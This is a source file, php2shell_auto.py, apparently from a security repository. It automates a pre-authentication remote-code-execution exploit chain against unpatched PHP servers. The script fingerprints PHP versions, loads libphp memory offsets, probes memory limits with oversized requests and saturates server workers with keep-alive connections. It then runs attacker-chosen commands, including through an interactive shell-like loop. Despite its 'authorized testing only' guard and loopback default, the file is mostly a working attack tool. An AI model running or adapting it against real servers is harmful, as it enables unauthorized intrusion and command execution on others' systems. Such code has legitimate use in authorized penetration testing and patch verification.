Repository navigation
Expand file tree
/
Copy pathphp2shell_auto.py
More file actions
executable file
·835 lines (755 loc) · 32 KB
/
Copy pathphp2shell_auto.py
File metadata and controls
executable file
·835 lines (755 loc) · 32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
php2shell_auto.py — version-aware dispatcher for the PHP2Shell RCE chain.
Flow
----
1. Fingerprint the target (X-Powered-By, Server, PHP version in the body).
2. Reject versions at or above the fixed release.
3. Compare the target OS with the profile (Debian/Ubuntu/Fedora/Alpine...).
4. Load the verified build profile and take the libphp offsets and heap
parameters from it.
5. Run the chain, sweeping typical memory limits unless one is supplied.
6. Print a Wiz-style staged log and a result box.
Proof handling is automatic:
- local target: read the proof file written to the mounted /out;
- remote target with a relative output path (`id>p1`): fetch /p1;
- explicit --fetch / --no-fetch overrides the default.
Authorized testing only.
"""
from __future__ import annotations
from php2shell_paths import default_repo_dir
from php2shell_upstream import patch_params, patch_tls
import argparse
import glob
import json
import os
import ipaddress
import re
import socket
import ssl
import subprocess
import threading
import time
import sys
import urllib.parse
from php2shell_ui import UI
FIXED = {"8.2": 35, "8.3": 36, "8.4": 27, "8.5": 12}
HERE = os.path.dirname(os.path.abspath(__file__))
ROOT = os.path.dirname(HERE)
DEFAULT_PROFILES = os.path.join(ROOT, "profiles")
# ---------------------------------------------------------------------------
# fingerprint and profile lookup
# ---------------------------------------------------------------------------
def http_head(url: str, timeout: float = 8.0):
u = urllib.parse.urlsplit(url if "://" in url else "http://" + url)
host = u.hostname or ""
port = u.port or (443 if u.scheme == "https" else 80)
path = u.path or "/"
import ssl
s = socket.create_connection((host, port), timeout=timeout)
if u.scheme == "https":
s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)
req = (f"GET {path} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: php2shell-auto/2.0\r\n"
f"Connection: close\r\n\r\n").encode()
s.sendall(req)
data = b""
try:
while len(data) < 65536:
chunk = s.recv(65536)
if not chunk:
break
data += chunk
except OSError:
pass
s.close()
head, _, body = data.partition(b"\r\n\r\n")
headers = {}
for line in head.split(b"\r\n")[1:]:
if b":" in line:
k, _, v = line.partition(b":")
headers.setdefault(k.decode("latin-1").strip().lower(), v.decode("latin-1").strip())
return headers, body
def fingerprint(url: str) -> tuple[str, str, str]:
headers, body = http_head(url)
server = headers.get("server", "?")
powered = headers.get("x-powered-by", "")
m = re.search(r"PHP/(\d+\.\d+\.\d+)", powered)
if m:
version = m.group(1)
else:
m = re.search(rb"PHP/(\d+\.\d+\.\d+)", body)
version = m.group(1).decode() if m else ""
return version, server, powered
def detect_distro(server: str) -> str | None:
text = (server or "").lower()
for key in ("fedora", "debian", "ubuntu", "alpine", "centos",
"red hat", "rhel", "amazon linux", "suse", "arch linux"):
if key in text:
return key
return None
def normalize_distro(value: str) -> str | None:
text = (value or "").lower()
if any(x in text for x in ("debian", "bookworm", "bullseye", "buster", "trixie")):
return "debian"
for key in ("ubuntu", "fedora", "alpine", "centos", "rhel", "red hat",
"amazon linux", "suse", "arch linux"):
if key in text:
return key
return None
def classify(version: str):
m = re.fullmatch(r"(\d+)\.(\d+)\.(\d+)", version or "")
if not m:
return None
major, minor, patch = map(int, m.groups())
branch = f"{major}.{minor}"
fixed = FIXED.get(branch)
return branch, fixed, (patch >= fixed if fixed else None)
def is_loopback(host: str) -> bool:
try:
infos = socket.getaddrinfo(host, None, type=socket.SOCK_STREAM)
except socket.gaierror:
return False
if not infos:
return False
for info in infos:
try:
if not ipaddress.ip_address(info[4][0]).is_loopback:
return False
except ValueError:
return False
return True
def detect_arch(container: str) -> str | None:
"""Read the architecture of a local container."""
try:
result = subprocess.run(["docker", "exec", container, "uname", "-m"],
capture_output=True, text=True, timeout=10)
except (OSError, subprocess.SubprocessError):
return None
return {"aarch64": "aarch64", "arm64": "aarch64",
"x86_64": "amd64", "amd64": "amd64"}.get(result.stdout.strip().lower())
def container_for_port(port: int) -> str | None:
"""Find the local container publishing 127.0.0.1:<port>."""
try:
result = subprocess.run(["docker", "ps", "--format", "{{.Names}}\t{{.Ports}}"],
capture_output=True, text=True, timeout=10)
except (OSError, subprocess.SubprocessError):
return None
for line in result.stdout.splitlines():
name, _, ports = line.partition("\t")
if f":{port}->" in ports:
return name
return None
def load_profiles(directory: str):
profiles = []
for path in sorted(glob.glob(os.path.join(directory, "*.json"))):
try:
with open(path, "r", encoding="utf-8") as fh:
data = json.load(fh)
if not isinstance(data, dict) or "php_version" not in data:
continue
data["_path"] = path
profiles.append(data)
except (OSError, ValueError) as exc:
print(f"[!] ignoring {path}: {exc}", file=sys.stderr)
return profiles
def remote_arch_required(remote: bool, arch: str | None, profile: str | None) -> bool:
"""Remote targets cannot be fingerprinted for CPU architecture."""
return bool(remote and not arch and not profile)
def select(profiles, version: str, branch: str, arch: str | None = None):
def fits(profile):
return arch is None or profile.get("arch") == arch
exact = [p for p in profiles if p.get("php_version") == version and fits(p)]
if exact:
return exact[0], "exact"
same_branch = [p for p in profiles if p.get("branch") == branch and fits(p)]
if same_branch:
return same_branch[0], "branch-only"
return None, "none"
# ---------------------------------------------------------------------------
# upstream patches and parameters
# ---------------------------------------------------------------------------
def local_out_dir(args) -> str | None:
if args.allow_remote:
return None
source = container_out(args.container)
if source:
return source
if args.proof_file:
return os.path.dirname(args.proof_file) or "."
return None
def stage_script(outdir: str, body: str) -> None:
wrapper = "{ " + body.strip() + " ; } > /out/o 2>&1\n"
path = os.path.join(outdir, "c")
with open(path, "w", encoding="utf-8") as fh:
fh.write(wrapper)
os.chmod(path, 0o755)
def interactive_loop(args, profile, outdir, ui: UI) -> int:
huge = args.huge_mb or oom_for(args.memory_limit_mb or 8, profile)
ui.warn("interactive mode: every command re-runs the full chain (~1 min each)")
args.command = "sh</out/c"
while True:
try:
line = input("php2shell> ")
except (EOFError, KeyboardInterrupt):
print()
break
if line.strip().lower() in ("exit", "quit"):
break
if not line.strip():
continue
stage_script(outdir, line)
output = os.path.join(outdir, "o")
try:
os.unlink(output)
except OSError:
pass
rc = run_upstream(args, profile, output, huge, ui, stream=False)
if os.path.isfile(output):
print(open(output, "r", encoding="utf-8", errors="replace").read().rstrip())
else:
ui.warn(f"no output (chain exit {rc})")
return 0
def oom_for(limit: int, profile: dict) -> int:
if limit == 8 and profile.get("oom_mb"):
return int(profile["oom_mb"])
return limit + 12
# ---------------------------------------------------------------------------
# proof/fetch resolution
# ---------------------------------------------------------------------------
def output_path(command: str) -> str | None:
m = re.search(r">\s*([^\s;&|]+)", command or "")
return m.group(1) if m else None
def resolve_fetch(args, command: str) -> str:
if args.no_fetch:
return ""
if args.fetch:
return args.fetch
if not args.allow_remote:
return ""
path = output_path(command)
if path and not path.startswith("/"):
return "/" + path
return ""
def container_out(container: str) -> str | None:
"""Host path mounted at /out in a local container, if any."""
try:
result = subprocess.run(
["docker", "inspect", "-f",
'{{range .Mounts}}{{if eq .Destination "/out"}}{{.Source}}{{end}}{{end}}',
container],
capture_output=True, text=True, timeout=10)
source = result.stdout.strip()
return source or None
except (OSError, subprocess.SubprocessError):
return None
def resolve_proof(args, fetch: str) -> str:
if args.proof_file is not None:
return args.proof_file
if args.allow_remote:
return ""
source = container_out(args.container)
if source:
return os.path.join(source, "p1")
return os.path.join(args.repo_dir, "out", "p1")
# ---------------------------------------------------------------------------
# execution
# ---------------------------------------------------------------------------
class WorkerPins:
"""Hold N-1 workers with idle keep-alive connections, leaving one free."""
def __init__(self, url: str, count: int):
u = urllib.parse.urlsplit(url if "://" in url else "http://" + url)
host = u.hostname or ""
port = u.port or (443 if u.scheme == "https" else 80)
path = u.path or "/"
self.socks = []
for _ in range(count):
s = socket.create_connection((host, port), timeout=10)
if u.scheme == "https":
s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)
req = (f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
f"User-Agent: php2shell-pin/1.0\r\nConnection: keep-alive\r\n\r\n").encode()
s.sendall(req)
s.settimeout(3)
try:
s.recv(65536)
except OSError:
pass
self.socks.append(s)
@classmethod
def from_socks(cls, socks):
obj = cls.__new__(cls)
obj.socks = socks
return obj
@classmethod
def auto_remote(cls, url: str, max_pins: int = 32):
"""Saturate the worker pool with keep-alive connections, then free one.
Without access to the server we cannot count workers; we keep opening
connections until a request stops being answered (all workers busy) and
then release one connection for the chain.
"""
u = urllib.parse.urlsplit(url if "://" in url else "http://" + url)
host = u.hostname or ""
port = u.port or (443 if u.scheme == "https" else 80)
path = u.path or "/"
pins = []
for _ in range(max_pins):
s = None
try:
s = socket.create_connection((host, port), timeout=3)
if u.scheme == "https":
s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)
req = (f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
f"User-Agent: php2shell-pin/1.0\r\nConnection: keep-alive\r\n\r\n").encode()
s.sendall(req)
s.settimeout(2)
data = s.recv(65536)
except socket.timeout:
if s is not None:
try:
s.close()
except OSError:
pass
break
except OSError:
if s is not None:
try:
s.close()
except OSError:
pass
break
if not data:
try:
s.close()
except OSError:
pass
break
head = data.split(b"\r\n\r\n", 1)[0].lower()
if b"connection: close" in head:
try:
s.close()
except OSError:
pass
for p in pins:
p.close()
return None
pins.append(s)
if len(pins) <= 1:
for p in pins:
p.close()
return None
pins.pop().close()
return cls.from_socks(pins)
def close(self) -> None:
for s in self.socks:
try:
s.close()
except OSError:
pass
def probe_memory_limit(args, ui: UI) -> int | None:
"""One-shot OOM probe: the fatal message reveals the target memory_limit."""
u = urllib.parse.urlsplit(args.target if "://" in args.target else "http://" + args.target)
host = u.hostname or ""
port = u.port or (443 if u.scheme == "https" else 80)
path = u.path or "/"
import ssl
for mb in (16, 64, 256):
body = b"big=" + b"A" * (mb * 1024 * 1024)
ui.stage("PROBE", f"memory_limit probe: {mb} MiB body")
try:
s = socket.create_connection((host, port), timeout=30)
if u.scheme == "https":
s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)
req = (f"POST {path} HTTP/1.1\r\nHost: {host}\r\n"
f"User-Agent: php2shell-auto/2.0\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode()
s.sendall(req)
s.sendall(body)
s.settimeout(30)
data = b""
while len(data) < 65536:
chunk = s.recv(65536)
if not chunk:
break
data += chunk
s.close()
except OSError:
return None
m = re.search(rb"Allowed memory size of (\d+) bytes", data)
if m:
limit = max(1, int(m.group(1)) // (1024 * 1024))
ui.ok(f"detected memory_limit={limit}M")
return limit
if b"413" in data.split(b"\r\n", 1)[0] or b"Request Entity Too Large" in data:
ui.warn("body rejected by the server; cannot probe the memory limit")
return None
return None
def run_upstream(args, profile, proof, huge_mb, ui: UI, stream: bool = True) -> int:
repo = args.repo_dir
if not os.path.isfile(os.path.join(repo, "exploit.py")):
ui.crit(f"{repo}/exploit.py not found; clone 9bie/php2shell-bypass-aslr-exp")
return 4
lib = profile.get("libphp") or {}
if not lib.get("zif_system") or not lib.get("zval_ptr_dtor"):
ui.crit("profile has no libphp offsets")
return 3
cmd = [sys.executable, os.path.join(repo, "exploit.py"),
"-u", args.target, "-c", args.command,
"--profile", profile.get("upstream_profile", "bookworm"),
"--proof-file", proof,
"--zif-offset", str(lib["zif_system"]),
"--dtor-offset", str(lib["zval_ptr_dtor"])]
if lib.get("htdata"):
cmd += ["--htdata-offset", str(lib["htdata"])]
if args.fetch:
cmd += ["--fetch", args.fetch]
if huge_mb:
cmd += ["--huge-mb", str(huge_mb)]
if args.retries is not None:
cmd += ["--retries", str(args.retries)]
if args.no_pre_rotate:
cmd += ["--no-pre-rotate"]
if args.no_retry_rotate:
cmd += ["--no-retry-rotate"]
if args.allow_remote:
cmd += ["--no-auto-offsets"]
else:
cmd += ["--docker-container", args.container]
if args.dry_run:
ui.command(cmd)
return 0
env = os.environ.copy()
stages = profile.get("stages") or {}
for key, env_key in (("stage1_n", "P2S_STAGE1_N"),
("stage1_forge_len", "P2S_FORGE_LEN"),
("stage2_t", "P2S_STAGE2_T"),
("stage2_v", "P2S_STAGE2_V")):
if stages.get(key) is not None:
env[env_key] = str(stages[key])
if not stream:
result = subprocess.run(cmd, capture_output=True, text=True, env=env)
if result.returncode != 0:
tail = (result.stdout + result.stderr).strip().splitlines()[-4:]
for line in tail:
ui.upstream(line)
return result.returncode
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
text=True, env=env, bufsize=1)
assert proc.stdout is not None
for line in proc.stdout:
ui.upstream(line.rstrip())
return proc.wait()
def main() -> int:
ap = argparse.ArgumentParser(
description="Version-aware PHP2Shell RCE dispatcher.",
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
ap.add_argument("-u", "--target", required=False)
ap.add_argument("-c", "--command", default=None,
help="command to run (default: id>/out/p1 local, id>p1 remote)")
ap.add_argument("--repo-dir", default=default_repo_dir())
ap.add_argument("--container", default="php2shell-target")
ap.add_argument("--profiles", default=DEFAULT_PROFILES)
ap.add_argument("--catalog", default=os.path.join(ROOT, "catalog", "vulnerable.json"))
ap.add_argument("--proof-file", default=None,
help="local proof file; '' disables local read")
ap.add_argument("--fetch", default=None,
help="remote proof path; auto-derived from a relative output")
ap.add_argument("--no-fetch", action="store_true", help="disable the automatic fetch")
ap.add_argument("--list", action="store_true", help="list profiles and exit")
ap.add_argument("--assess", action="store_true",
help="run the exposure/leak assessment when no RCE profile exists")
ap.add_argument("--allow-remote", action="store_true")
ap.add_argument("--insecure", action="store_true",
help="disable TLS verification (lab certificates)")
ap.add_argument("--php-version", default=None,
help="assume this PHP version when the server hides it (e.g. 8.4.26)")
ap.add_argument("--force-build", action="store_true",
help="run even if the target OS does not match the profile")
ap.add_argument("--memory-limit-mb", type=int, default=None,
help="target memory_limit in MiB")
ap.add_argument("--huge-mb", type=int, default=None,
help="explicit OOM field size in MiB")
ap.add_argument("--no-probe", action="store_true",
help="do not probe the memory limit; sweep instead")
ap.add_argument("--retries", type=int, default=None,
help="upstream attempts per stage (default 3; stage 3 uses +2)")
ap.add_argument("--no-pre-rotate", action="store_true",
help="skip the initial worker rotation")
ap.add_argument("--no-retry-rotate", action="store_true",
help="do not rotate between failed stage attempts")
ap.add_argument("--no-auto-memory", action="store_true",
help="do not sweep the typical memory limits")
ap.add_argument("--dry-run", action="store_true",
help="show the selected profile and command, do not run")
ap.add_argument("--script", default=None,
help="local script to stage in /out/c and run with sh</out/c")
ap.add_argument("--interactive", action="store_true",
help="interactive command loop (local labs; slow: one chain run per command)")
ap.add_argument("--pin-workers", default=None,
help="hold N-1 workers with keep-alive ('auto' for a local container; "
"default: auto for loopback, off for remote)")
ap.add_argument("--no-pin-workers", action="store_true",
help="disable worker pinning")
ap.add_argument("--pin-max", type=int, default=32,
help="max keep-alive connections for remote auto-pinning")
ap.add_argument("--arch", choices=("aarch64", "amd64"), default=None,
help="CPU architecture; required for remote targets, auto-detected locally")
ap.add_argument("--profile", default=None,
help="force a profile by name/path substring (needed when a version has several builds)")
ap.add_argument("--no-color", action="store_true")
args = ap.parse_args()
profiles = load_profiles(args.profiles)
catalog = {}
try:
with open(args.catalog, "r", encoding="utf-8") as fh:
catalog = json.load(fh)
except (OSError, ValueError):
pass
if not args.target and not args.list:
ap.error("-u/--target is required")
if args.list:
for p in profiles:
print(f"{p.get('php_version'):10} rce={str(p.get('rce')):5} {p.get('name')}")
if catalog:
print("\ncatalog coverage:")
for b in catalog.get("branches", []):
fixed = b.get("fixed_in") or "no official fix"
print(f" {b['branch']:4} affected={b['affected']:16} fixed_in={fixed}")
return 0
parsed = urllib.parse.urlsplit(args.target if "://" in args.target else "http://" + args.target)
host = parsed.hostname or ""
port = parsed.port or (443 if parsed.scheme == "https" else 80)
loopback = is_loopback(host)
if not loopback and not args.allow_remote:
ap.error("non-loopback target requires --allow-remote (written authorization)")
remote = not loopback
args.allow_remote = remote
if loopback and args.container == "php2shell-target":
detected = container_for_port(port)
if detected:
args.container = detected
args.command = args.command or ("id>p1" if remote else "id>/out/p1")
args.fetch = resolve_fetch(args, args.command)
proof = resolve_proof(args, args.fetch)
ui = UI(color=not args.no_color)
ui.banner()
ui.chain("01/01", "automatic target detection / fixed command proof")
ui.stage("DISCOVER", args.target)
if args.arch is None and not remote:
detected_arch = detect_arch(args.container)
if detected_arch:
args.arch = detected_arch
ui.info(f"detected architecture: {detected_arch}")
if remote_arch_required(remote, args.arch, args.profile):
ui.crit("remote target: CPU architecture cannot be detected")
ui.info("pass --arch aarch64|amd64 (and --php-version if needed) or --profile NAME")
ui.result(False, "ARCH REQUIRED", "remote target without --arch/--profile")
return 3
version, server, powered = fingerprint(args.target)
if args.php_version:
if version and version != args.php_version:
ui.warn(f"server reports PHP {version}; using {args.php_version} as requested")
else:
ui.info(f"using supplied PHP version {args.php_version}")
version = args.php_version
if not version:
ui.crit("cannot determine the PHP version; pass --php-version X.Y.Z or --profile NAME")
ui.result(False, "NOT CONFIRMED", "PHP version not identified")
return 3
ui.ok(f"PHP {version} · {server}")
cls = classify(version)
if not cls:
ui.crit("unparsable PHP version")
ui.result(False, "NOT CONFIRMED", version)
return 3
branch, fixed, patched = cls
if fixed is not None and patched:
ui.ok(f"fixed release: PHP {version} >= {branch}.{fixed}")
ui.result(False, "TARGET PATCHED", f"PHP {version} is at or above {branch}.{fixed}")
return 0
if fixed is None:
ui.warn(f"branch {branch} is outside the fix matrix (EOL/unpatched)")
if args.profile:
matches = [p for p in profiles
if args.profile in p.get("name", "") or args.profile in p.get("_path", "")]
if len(matches) == 1:
profile, how = matches[0], "forced"
elif len(matches) > 1:
ui.crit(f"--profile {args.profile!r} matches {len(matches)} profiles; be more specific")
return 3
else:
ui.crit(f"no profile matches --profile {args.profile!r}")
return 3
else:
exact = [p for p in profiles
if p.get("php_version") == version
and (args.arch is None or p.get("arch") == args.arch)]
if len(exact) > 1:
names = ", ".join(p.get("name", "?") for p in exact)
ui.crit(f"multiple builds for PHP {version}: {names}")
ui.info("pass --arch aarch64|amd64 or --profile NAME")
return 3
profile, how = select(profiles, version, branch, args.arch)
if profile is None:
entry = next((b for b in catalog.get("branches", []) if b.get("branch") == branch), None)
if entry:
fixed_txt = entry.get("fixed_in") or "no official fix (EOL)"
ui.info(f"catalog: branch {branch}, affected {entry.get('affected')}, fixed in {fixed_txt}")
ui.crit(f"no profile for PHP {version} ({branch})")
ui.info("a profile needs libphp offsets plus stage1_n/forge/stage2_t/v/stage3_pads")
ui.info("generate one with tools/php2shell_calibrate.py on a replica")
ui.result(False, "NO PROFILE", f"PHP {version} ({branch})")
return 3
if how == "branch-only":
ui.warn(f"no exact profile for {version}; using {profile['php_version']} from the branch")
if profile.get("rce"):
ui.warn("refusing to run an RCE profile against a different build")
profile = dict(profile)
profile["rce"] = False
target_distro = detect_distro(server)
profile_distro = normalize_distro(profile.get("distro") or profile.get("name", ""))
if target_distro:
ui.info(f"target OS: {target_distro} · profile OS: {profile_distro or 'unknown'}")
if (target_distro and profile_distro and target_distro != profile_distro
and not args.force_build):
ui.crit(f"target looks like {target_distro}, profile is {profile_distro}")
ui.result(False, "BUILD MISMATCH", f"{profile['name']} is not a {target_distro} profile")
return 3
ui.stage("PREFLIGHT", profile["name"])
if loopback:
ui.info(f"local container: {args.container}")
lib = profile.get("libphp") or {}
ui.info(f"offsets: zif={lib.get('zif_system')} dtor={lib.get('zval_ptr_dtor')} "
f"htdata={lib.get('htdata')}")
ui.info(f"command: {args.command}")
if args.fetch:
ui.info(f"proof fetch: {args.fetch}")
elif args.allow_remote and not proof:
ui.warn("remote target without a fetch path; the command runs blind")
if not profile.get("rce"):
ui.crit("profile has no verified RCE stage")
for key in ("status", "measured"):
if profile.get(key):
ui.info(f"{key}: {profile[key]}")
if args.assess:
tool = os.path.join(HERE, "php2shell_assess.py")
if os.path.isfile(tool):
ui.stage("ASSESS", "running exposure/leak assessment")
return subprocess.call([sys.executable, tool, "--target", args.target])
ui.result(False, "NO VERIFIED RCE", profile.get("status", profile["name"]))
return 2
patch_params(args.repo_dir)
if args.insecure:
patch_tls(args.repo_dir)
outdir = local_out_dir(args)
if (args.script or args.interactive) and not outdir:
ui.crit("--script/--interactive need a local /out mount")
ui.result(False, "NO OUTPUT CHANNEL", "use a local lab or a web-accessible output path")
return 4
if args.script:
try:
body = open(args.script, "r", encoding="utf-8").read()
except OSError as exc:
ui.crit(f"cannot read {args.script}: {exc}")
return 4
stage_script(outdir, body)
args.command = "sh</out/c"
proof = os.path.join(outdir, "o")
ui.info(f"script staged in {outdir}/c")
elif args.interactive:
return interactive_loop(args, profile, outdir, ui)
elif outdir:
# Local /out: stage the command so any length works and the output is
# captured in a file the proof reader can see.
redirect = re.search(r">\s*(/out/[A-Za-z0-9._-]+)", args.command)
proof = (os.path.join(outdir, os.path.basename(redirect.group(1)))
if redirect else os.path.join(outdir, "o"))
stage_script(outdir, args.command)
args.command = "sh</out/c"
ui.info(f"command staged in {outdir}/c (output -> {proof})")
elif len(args.command.encode()) > 14:
ui.crit(f"command is {len(args.command.encode())} bytes; the carrier allows 14")
ui.info("use --script FILE (local lab) or --interactive")
ui.result(False, "COMMAND TOO LONG", args.command)
return 4
if args.huge_mb:
limits = [max(args.huge_mb - 12, 1)]
elif args.memory_limit_mb:
limits = [args.memory_limit_mb]
elif args.no_auto_memory:
limits = [8]
elif not args.no_probe:
detected = probe_memory_limit(args, ui)
limits = [detected] if detected else [8, 16, 32, 64, 128, 256, 512]
else:
limits = [8, 16, 32, 64, 128, 256, 512]
pins = None
pin_total = 0
pin_arg = args.pin_workers
if args.no_pin_workers:
pin_arg = "0"
elif pin_arg is None:
# Saturation pinning is intrusive: keep it opt-in for remote targets.
pin_arg = "0" if args.allow_remote else "auto"
if str(pin_arg).lower() == "auto":
if args.allow_remote:
try:
pins = WorkerPins.auto_remote(args.target, args.pin_max)
except OSError as exc:
ui.warn(f"remote auto-pinning failed: {exc}")
if pins:
ui.info(f"pinned {len(pins.socks)} remote worker(s) by saturation")
else:
ui.warn("remote auto-pinning inconclusive (keep-alive off or proxy)")
else:
try:
result = subprocess.run(
["docker", "exec", args.container, "sh", "-c",
"ps -eo cmd | grep -c '[a]pache2'"],
capture_output=True, text=True, timeout=10)
pin_total = max(int(result.stdout.strip() or "0") - 1, 0)
except (OSError, ValueError, subprocess.SubprocessError):
pin_total = 0
else:
try:
pin_total = int(pin_arg)
except (TypeError, ValueError):
pin_total = 0
if pin_total > 1 and not args.dry_run:
try:
pins = WorkerPins(args.target, pin_total - 1)
ui.info(f"pinned {pin_total - 1} worker(s); one left free")
except OSError as exc:
ui.warn(f"could not pin workers: {exc}")
rc = 1
for limit in limits:
huge = args.huge_mb if args.huge_mb else oom_for(int(limit), profile)
ui.stage("EXECUTE", f"memory_limit={limit}M · huge_mb={huge}")
if proof and os.path.exists(proof):
try:
os.unlink(proof)
except OSError:
pass
rc = run_upstream(args, profile, proof, huge, ui)
if rc == 0:
break
if not args.dry_run:
ui.warn(f"memory_limit={limit}M did not succeed")
if pins:
pins.close()
if args.dry_run:
return 0
if rc != 0:
ui.result(False, "NOT CONFIRMED", "no execution proof")
return 1
detail = "proof retrieved by --fetch"
if proof and os.path.isfile(proof):
try:
detail = open(proof, "r", encoding="utf-8", errors="replace").read().strip()
except OSError:
pass
ui.result(True, "PRE-AUTH RCE CONFIRMED", detail)
return 0
if __name__ == "__main__":
sys.exit(main())